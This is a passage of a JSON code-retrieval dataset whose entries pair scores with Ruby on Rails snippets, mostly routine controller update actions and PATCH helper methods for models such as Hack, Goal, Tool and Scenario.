@hack.update_attributes(params[:hack])\n format.html { redirect_to @hack, :notice => 'Hack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27bf2343b43b279f3787ae78d10bd689", "score": "0.5265054", "text": "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "title": "" }, { "docid": "617ca40a3d7dc649187863a37ddadfa8", "score": "0.52645326", "text": "def update!(**args)\n @supports_client_op_preloading = args[:supports_client_op_preloading] if args.key?(:supports_client_op_preloading)\n @supports_non_finalized_responses = args[:supports_non_finalized_responses] if args.key?(:supports_non_finalized_responses)\n @supports_non_materialized_interactions = args[:supports_non_materialized_interactions] if args.key?(:supports_non_materialized_interactions)\n end", "title": "" }, { "docid": "2cd2eb10b40ea21f2d11fbb57f739126", "score": "0.52644235", "text": "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dcadb4d5442bc01367409f806c9b35c7", "score": "0.526212", "text": "def update\n respond_to do |format|\n if @workphase.update(workphase_params)\n format.json { respond_with_bip(@workphase) } #this is added as best_in_place update wasn't holding\n format.html { redirect_to @workphase, notice: 'Workphase was successfully updated.' }\n #format.json { render :show, status: :ok, location: @workphase }\n else\n format.html { render :edit }\n format.json { render json: @workphase.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "544895d43feaa7193e851a5423ea7b3c", "score": "0.526189", "text": "def patch(attrs = nil)\n attrs ||= attributes.changed_attributes\n\n execute_request('PATCH') do |uri, headers|\n HTTP.http_client.patch(\n uri,\n body: adapter.serialize(attrs),\n header: headers.merge(CONTENT_TYPE_HEADERS)\n )\n end\n end", "title": "" }, { "docid": "11132500a8615528dea25cda1cc3e773", "score": "0.526004", "text": "def update\n @goal = Goal.find(params[:id])\n\n respond_to do |format|\n if @goal.update_attributes(params[:goal])\n format.html { redirect_to @goal, notice: 'Goal was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bcb980321faea2e50f4897672c5f4e0", "score": "0.5258962", "text": "def update\n @handicapping_method = HandicappingMethod.find(params[:id])\n\n respond_to do |format|\n if @handicapping_method.update_attributes(params[:handicapping_method])\n format.html { redirect_to @handicapping_method, notice: 'Handicapping method was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @handicapping_method.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6f4281a1f1749f59c2dec61b8a581e27", "score": "0.5258616", "text": "def update\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "43a2a2c107a9a01a00cce06e68ab241e", "score": "0.52580833", "text": "def update\n @rental = Rental.friendly.find(params[:rental_id])\n \n\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to rental_path(@rental), notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e851c3edc767e09a0adb91bec759e170", "score": "0.5257128", "text": "def update\n respond_to do |format|\n if @scenario.update(scenario_params)\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { render :show, status: :ok, location: @scenario }\n else\n format.html { render :edit }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e851c3edc767e09a0adb91bec759e170", "score": "0.5257128", "text": "def update\n respond_to do |format|\n if @scenario.update(scenario_params)\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { render :show, status: :ok, location: @scenario }\n else\n format.html { render :edit }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e851c3edc767e09a0adb91bec759e170", "score": "0.5257128", "text": "def update\n respond_to do |format|\n if @scenario.update(scenario_params)\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { render :show, status: :ok, location: @scenario }\n else\n format.html { render :edit }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e851c3edc767e09a0adb91bec759e170", "score": "0.5257128", "text": "def update\n respond_to do |format|\n if @scenario.update(scenario_params)\n format.html { redirect_to @scenario, notice: 'Scenario was successfully updated.' }\n format.json { render :show, status: :ok, location: @scenario }\n else\n format.html { render :edit }\n format.json { render json: @scenario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a927468530cfed5bfef669a6d4634900", "score": "0.5257047", "text": "def update\n @hack = Hack.find(params[:id])\n\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @hack, notice: 'Hack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hack.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32640380b4bf97272a984a3bc758be5b", "score": "0.5254122", "text": "def update\n @patent = Patent.find(params[:id])\n\n respond_to do |format|\n if params[:patent][:research_areas]\n research_area = ResearchArea.find(params[:patent][:research_areas].to_i)\n @patent.research_areas << research_area\n @patent.save\n format.json { render json: research_area }\n elsif @patent.update_attributes(params[:patent])\n format.html { redirect_to @patent, notice: 'Patent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patent.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39736bb248e067adcabe31626f9be619", "score": "0.5253064", "text": "def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end", "title": "" }, { "docid": "c0f056dccc097bac08c7c4ab5fbfd174", "score": "0.5250805", "text": "def update\n respond_to do |format|\n debugger\n if @best_practice.update(best_practice_params)\n format.html { redirect_to @best_practice, notice: 'Best practice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @best_practice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "56e12599fdacf34c166c24764f924134", "score": "0.5250351", "text": "def update\n @thing = current_user.things.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to @thing }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.52498716", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "508f3123c827a165965ac5c9e043b60e", "score": "0.5249752", "text": "def update!(**args)\n @simple_responses = args[:simple_responses] if args.key?(:simple_responses)\n end", "title": "" }, { "docid": "1476eeab67acb67196f31027d1f253bf", "score": "0.5249001", "text": "def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :json => @operation.to_json(:include => :task) }\n else\n format.html { render json: @operation.errors, status: :unprocessable_entity }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
8df18ec8e7afe5d92675ead0f8bb6cc2
opts source Symbol | [Symbol] create Symbol allow_nil Symbol
[ { "docid": "b49e5d994edd62bf65e017208a1997ef", "score": "0.0", "text": "def key(name, *opts)\n hash_opts = opts.select { |v| v.kind_of?(Hash) }.inject(&:merge) || {}\n source = hash_opts[:source]\n then_block = hash_opts[:then]\n value = hash_opts[:eq]\n if_key = hash_opts.fetch(:if_key) { [] }\n create = opts.empty? || opts.include?(:create) || opts.include?(:allow_nil)\n allow_nil = opts.include?(:allow_nil)\n\n # TODO: validate the option keys.\n\n # Normalize source\n source = case source\n when Array\n source\n when Symbol\n [source]\n else\n # Use the key as value source when source is missing\n [name]\n end\n\n # Normalize if_key\n if_key = case if_key\n when Array\n if_key\n when Symbol\n [if_key]\n end\n\n # -- Sanity check\n raise ArgumentError.new(\"A :then block is required if a key has multiple sources.\") if source.size > 1 && !then_block\n\n @keys.push Key.new(\n name: name,\n source: source,\n create: create,\n allow_nil: allow_nil,\n then_block: then_block,\n if_key: if_key,\n value: value\n )\n end", "title": "" } ]
[ { "docid": "564db4f72e799af56a5059aa409a76d7", "score": "0.6192772", "text": "def create(name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "de02c395f08154282bbc14463eadd90c", "score": "0.5977635", "text": "def create(source)\n statement = Statement.new(source)\n add(statement) ? statement : nil\n end", "title": "" }, { "docid": "a4b1a0d1f8e93d67663f2b2f48af3ffe", "score": "0.57393426", "text": "def from(sym_source_name, &config_block)\n src = Source.new(sym_source_name, &config_block)\n add :source, src\n end", "title": "" }, { "docid": "6799c1056e6c2625e36ab1f4a0c63d47", "score": "0.5736241", "text": "def parse_create_symbol(args, opts)\n case args.first\n when :base, :safe\n opts.safe_mode = (args.shift == :safe)\n opts.domain_obj = args.shift\n when :on, :strict\n if args.shift == :strict\n if !opts.domain_obj\n raise ArgumentError, \"cannot use :strict outside a partial mock\"\n end\n opts.base_class = opts.domain_obj.singleton_class\n else\n opts.base_class = args.shift\n end\n opts.name ||= \"#{opts.base_class} Mock\"\n else\n CONTAINER_HELPER.extensions.each do |ext|\n handled = ext.handle(args, opts)\n return true if handled\n end\n return false\n end\n true\n end", "title": "" }, { "docid": "5748c7ee17f223d4817a6c2d4ee0040f", "score": "0.5635824", "text": "def initialize(source='',options={})\n @source = source\n @smart = options.delete(:smart)\n\n (VALID_OPTIONS & options.keys).each do |key|\n instance_variable_set(\"@#{key}\",options[key])\n end\n end", "title": "" }, { "docid": "2b7be105d3302e48aa48d3617c7f0924", "score": "0.56225437", "text": "def try_create(options = T.unsafe(nil)); end", "title": "" }, { "docid": "2b7be105d3302e48aa48d3617c7f0924", "score": "0.56225437", "text": "def try_create(options = T.unsafe(nil)); end", "title": "" }, { "docid": "2b7be105d3302e48aa48d3617c7f0924", "score": "0.56225437", "text": "def try_create(options = T.unsafe(nil)); end", "title": "" }, { "docid": "dc2a9e8dda30474fa437435b24198a68", "score": "0.55863947", "text": "def make(*args); end", "title": "" }, { "docid": "daa04df7c0adf28f773a3f9aeef40c07", "score": "0.5572629", "text": "def create!(attributes = T.unsafe(nil)); end", "title": "" }, { "docid": "70b5a931144786dee7907b5659e7b4b2", "score": "0.5550568", "text": "def add_source(source, options = T.unsafe(nil), &block); end", "title": "" }, { "docid": "2e28719cb185bc0d3d8b7b2a470f5f72", "score": "0.5535273", "text": "def initialize(source_hash = T.unsafe(nil), default = T.unsafe(nil), &blk); end", "title": "" }, { "docid": "e6269b7bae50df08d5f673ad7edcc447", "score": "0.5504348", "text": "def create!(attributes = T.unsafe(nil), &block); end", "title": "" }, { "docid": "e6269b7bae50df08d5f673ad7edcc447", "score": "0.5504348", "text": "def create!(attributes = T.unsafe(nil), &block); end", "title": "" }, { "docid": "ba7f54b54981345f06ec787c6277e937", "score": "0.547563", "text": "def create_source(args)\n args.to_options!\n type = args.delete(:type) || 'TaliaCore::ActiveSource'\n klass = type.constantize\n klass.new(args)\n end", "title": "" }, { "docid": "53bf91c47e0d5ba4d22e790f94f1c866", "score": "0.544146", "text": "def creator=(_arg0); end", "title": "" }, { "docid": "79189e0c523e9eb46524d5fc22ae44e8", "score": "0.54374963", "text": "def hobo_source_create(options = {}, &block)\n options.to_options!\n klass = options[:class_name].constantize if(options[:class_name])\n klass ||= (this ? this.class : model)\n self.current_thing = klass.new(options[:params] || attribute_parameters)\n if(save_created(current_thing))\n flash[:notice] = I18n.t(\"#{my_name.pluralize}.messages.create_success\")\n yield_or_redirect(&block)\n else\n flash[:notice] = I18n.t(\"#{my_name.pluralize}.errors.create_error\", :message => current_thing.errors.full_messages.join(', '))\n render :action => :new\n end\n end", "title": "" }, { "docid": "61164c2620f04099247558f2965b409f", "score": "0.54178", "text": "def declare(method_name, args, options = T.unsafe(nil)); end", "title": "" }, { "docid": "4391c197424679c86b8c378985d51c7a", "score": "0.5416763", "text": "def start(target = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "4391c197424679c86b8c378985d51c7a", "score": "0.5416763", "text": "def start(target = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "93428da4eb0fe3491fcba231af0b6f83", "score": "0.5402429", "text": "def create(attributes = T.unsafe(nil)); end", "title": "" }, { "docid": "93428da4eb0fe3491fcba231af0b6f83", "score": "0.5402429", "text": "def create(attributes = T.unsafe(nil)); end", "title": "" }, { "docid": "46c0ec419e0e261559337c06d65ff62a", "score": "0.5383456", "text": "def dup\n raise TypeError , 'cannot dup a Symbol'\n end", "title": "" }, { "docid": "9683c91c34d07b1a94be907b8b1447b6", "score": "0.53677344", "text": "def create_source(options = {})\n post(:sources, sources: [options]).pop\n end", "title": "" }, { "docid": "9dd2be458fb081742b83e22504f1ced4", "score": "0.53600293", "text": "def with(opts = T.unsafe(nil)); end", "title": "" }, { "docid": "383fa789ace3e8af6a56a5ea7fa45fc2", "score": "0.5333488", "text": "def start(opts = T.unsafe(nil)); end", "title": "" }, { "docid": "55a11510c2764d078ed14f4f155f2817", "score": "0.5329724", "text": "def setup(options = T.unsafe(nil)); end", "title": "" }, { "docid": "3f4b5b6a31c41b9ac0c1e0c813dc3e44", "score": "0.530064", "text": "def method_missing(name , *args)\n super if args.length != 0\n name = name.to_s\n return @names[name] if @names.has_key?(name)\n if name == \"message\"\n return Risc.message_reg.set_builder(self)\n end\n if name.index(\"label\")\n reg = Risc.label( @source , \"#{name}_#{object_id}\")\n @source_used = true\n else\n last_char = name[-1]\n name = name[0 ... -1]\n if last_char == \"!\" or last_char == \"?\"\n if @names.has_key?(name)\n return @names[name] if last_char == \"?\"\n raise \"Name exists before creating it #{name}#{last_char}\"\n end\n else\n raise \"Must create (with ! or ?) before using #{name}#{last_char}\"\n end\n type = infer_type(name )\n reg = @compiler.use_reg( type.object_class.name ).set_builder(self)\n end\n @names[name] = reg\n reg\n end", "title": "" }, { "docid": "f7da4e7c282892ab71234a182ec1c7f7", "score": "0.5297121", "text": "def source(*args) # (optional-name, optional-proc, optional-opts, &optional-block)\n #return self[__method__] unless args.any?\n return source_array unless args.any?\n opts = args.last.is_a?(Hash) ? args.pop : Hashy.new\n source_name = args.shift if [String, Symbol].any?{|t| args[0].is_a?(t)}\n code = case\n when block_given?; Proc.new\n when opts[:code]; opts.delete(:code)\n when args[0].is_a?(Proc); args.shift\n when args.any?; args\n else nil\n end \n self[:source] ||= Hashie::Array.new\n #log :debug, \"Declaring #{source_name}.source: #{name}, #{opts}, #{prc}\"\n debug{\"Declaring source :#{source_name} for #{name}: #{opts}, #{code}\"}\n source_hash = Hashy.new({name: source_name, code: code}.merge(opts))\n self[:source] << source_hash\n end", "title": "" }, { "docid": "7d17bc8b98dba2fa9a371c88c5328ad5", "score": "0.5284133", "text": "def create_source(parent_block, reader_or_target, attributes)\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "ca647af61fe85f980f6d9985d8bd7444", "score": "0.5244863", "text": "def define_source(opts)\n host = {}\n\n host[:host] = opts[:source_host] || CLI.prompt(\"Source host\")\n host[:port] = opts[:source_port] || CLI.prompt(\"Source SSH port\",\n default_answer: \"22\")\n host[:username] = opts[:source_user] || CLI.prompt(\"Source username\",\n default_answer: \"root\")\n host[:password] = opts[:source_pass] || CLI.prompt(\"Source password\",\n default_answer: \"\")\n\n until host[:public_key].kind_of?(String)\n key = opts[:public_key] || CLI.prompt(\"SSH Key\", default_answer: \"\")\n if File.file?(File.expand_path(key)) || key.empty?\n host[:public_key] = key\n end\n end\n\n # Only need to use sudo if the user isn't root\n if host[:username] == \"root\"\n host[:sudo] = false\n elsif !opts[:source_sudo].nil?\n host[:sudo] = opts[:source_sudo]\n else\n host[:sudo] = CLI.prompt_yn(\"Use sudo? (Y/N)\", default_answer: \"Y\")\n end\n\n # We need the root pass if non-root and no sudo\n if host[:username] == \"root\" || host[:sudo]\n host[:root_pass] = host[:password]\n else\n host[:root_pass] = CLI.prompt(\"Password for root\")\n end\n\n host\n end", "title": "" }, { "docid": "f3ffd090bbfea5af04aae79d30a0d213", "score": "0.5238603", "text": "def source_helper(source_location, name = T.unsafe(nil)); end", "title": "" }, { "docid": "9e539f55b4decd49f4f20ad011e4c6c5", "score": "0.52290684", "text": "def create_source(parent, reader_or_target, attributes)\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "2584709bad28c5a9de7fbd05d572d1df", "score": "0.52117175", "text": "def initialize_dup(source); end", "title": "" }, { "docid": "1f7ee074b5d2e5560c1cc95efe8e2cbd", "score": "0.52101743", "text": "def create_repository(name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "ca4472d71df8c4e4a4d197268cad9ef7", "score": "0.52055126", "text": "def init(opts = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5203655", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.52034706", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "eff2515adf1a8fbfbb8499002c32866b", "score": "0.5203054", "text": "def initialize(formula, options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "8a75d54ca131cb176722aaf4486fc35c", "score": "0.5202648", "text": "def initialize(options = T.unsafe(nil)); end", "title": "" }, { "docid": "fab5703475af7ae0eb9a9fd212248839", "score": "0.5200256", "text": "def initialize(opts = T.unsafe(nil)); end", "title": "" }, { "docid": "fab5703475af7ae0eb9a9fd212248839", "score": "0.5200256", "text": "def initialize(opts = T.unsafe(nil)); end", "title": "" }, { "docid": "93266b61d2941b1a6f02ed6d76f4351f", "score": "0.5197851", "text": "def create(opts)\n @name = opts[:name]\n @hwaddr = opts[:hwaddr]\n @max_tx = opts.fetch(:max_tx, 0)\n @max_rx = opts.fetch(:max_rx, 0)\n end", "title": "" }, { "docid": "5b170d93ba4648a84f00ecdaca4b8beb", "score": "0.51897705", "text": "def compile_init block, source, options\n method_name = 'init'\n\n body_block = CompiledBlock.new\n body_block.name = method_name\n\n # Arguments & default values\n args = Gene::Lang::Matcher.from_array source.data.first\n args.data_matchers.each do |matcher|\n body_block.add_instr [GET, 'args', matcher.index, 'default']\n body_block.add_instr [DEF_MEMBER, matcher.name, 'default']\n end\n\n compile_ body_block, source.data[1..-1], options\n body_block.add_instr [CALL_END]\n\n @mod.add_block body_block\n\n # Create a function object and store in namespace/scope\n block.add_instr [METHOD, method_name, body_block.id]\n end", "title": "" }, { "docid": "5c16db11b52ab34fefdda1996315cc5f", "score": "0.5187071", "text": "def add_source(source, factory_method, *args)\n @sources << {:source => source, :factory_method => factory_method, :args => args}\n end", "title": "" }, { "docid": "3318c13ff593fcd7848e3d648b9f7bb1", "score": "0.51618516", "text": "def source=(source)\n raise ArgumentError unless source.is_a?(Symbol)\n @source = source\n end", "title": "" }, { "docid": "52ef2fce8572b6c0764a89a8327d0b5c", "score": "0.5158733", "text": "def source=(_arg0); end", "title": "" }, { "docid": "52ef2fce8572b6c0764a89a8327d0b5c", "score": "0.5158733", "text": "def source=(_arg0); end", "title": "" }, { "docid": "52ef2fce8572b6c0764a89a8327d0b5c", "score": "0.5158733", "text": "def source=(_arg0); end", "title": "" }, { "docid": "52ef2fce8572b6c0764a89a8327d0b5c", "score": "0.5158733", "text": "def source=(_arg0); end", "title": "" }, { "docid": "52ef2fce8572b6c0764a89a8327d0b5c", "score": "0.5158733", "text": "def source=(_arg0); end", "title": "" }, { "docid": "a84c5bfefc3a89f09a00e1bd381de838", "score": "0.51505893", "text": "def initialize(options = {})\n @name = options[:name]\n @source = options[:source]\n @behavior = options[:behavior]\n end", "title": "" }, { "docid": "fbff0a6da3c554cf781e41cbae52d792", "score": "0.51447755", "text": "def make!(*args, &block)\n factorize(:create!, args, &block)\n end", "title": "" }, { "docid": "9ff093a320579265c13861adb064b4a7", "score": "0.5136789", "text": "def declare!(inst, *args, &block)\r\n _indent\r\n @target << \"<!#{inst}\"\r\n args.each do |arg|\r\n case arg\r\n when String\r\n @target << %{ \"#{arg}\"} # \" WART\r\n when Symbol\r\n @target << \" #{arg}\"\r\n end\r\n end\r\n if block_given?\r\n @target << \" [\"\r\n _newline\r\n _nested_structures(block)\r\n @target << \"]\"\r\n end\r\n @target << \">\"\r\n _newline\r\n end", "title": "" }, { "docid": "85bc16e796df9e2eb1593ea4cc1e0e22", "score": "0.51310384", "text": "def generator(args = T.unsafe(nil), options = T.unsafe(nil), config = T.unsafe(nil)); end", "title": "" }, { "docid": "5520525ff4fd06cd37fe00cd751868fe", "score": "0.51296806", "text": "def declare!(inst, *args, &block); end", "title": "" }, { "docid": "4ca1d9c305f62abe9dc0329f53a9b14c", "score": "0.51280344", "text": "def initialize (name, symbol)\n @name = name\n @symbol = symbol\n end", "title": "" }, { "docid": "184562259f373ad4fb704dd659d47fd0", "score": "0.51215345", "text": "def source(options = {})\r\n end", "title": "" } ]
45c6cb09f69c3e78e442da830f882182
GET /scheduler_types/1 GET /scheduler_types/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "70a39f70bb2c8e7c003bb676807d6faa", "score": "0.77250636", "text": "def index\n @scheduler_types = SchedulerType.all\n end", "title": "" }, { "docid": "2d736b15926795ae7a3b3d1f99d1c1e9", "score": "0.71715945", "text": "def set_scheduler_type\n @scheduler_type = SchedulerType.find(params[:id])\n end", "title": "" }, { "docid": "988387d6d9038400da752262801a869f", "score": "0.69720155", "text": "def scheduler(params = {})\n scheduler_id = params.delete :uuid\n\n response =\n default_scope.get(\"schedule/schedulers/#{scheduler_id}\") do |request|\n request.params = params\n end\n JSON.parse(response.body)\n end", "title": "" }, { "docid": "3d0c8da0754492149bc15a6a49b85413", "score": "0.6719768", "text": "def schedulers(params = {})\n scope 'default'\n get('schedule/schedulers/', params)\n end", "title": "" }, { "docid": "1d4020d9ea9ca912ed421fe16ae9ea29", "score": "0.6599274", "text": "def scheduler_type_params\n params.require(:scheduler_type).permit(:scheduler_name)\n end", "title": "" }, { "docid": "a831ce6900d8a21cfeba6db902de790f", "score": "0.65462273", "text": "def show\n @scheduler = Scheduler.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scheduler }\n end\n end", "title": "" }, { "docid": "1d5a8df29d75f859bd804141ed274b59", "score": "0.63487935", "text": "def appointment_types(params = {})\n scope 'default'\n get('schedule/appointmenttypes/', params)\n end", "title": "" }, { "docid": "6b7602bd48c0ddc90a1c2ffed682abc4", "score": "0.6274071", "text": "def create\n @scheduler_type = SchedulerType.new(scheduler_type_params)\n\n respond_to do |format|\n if 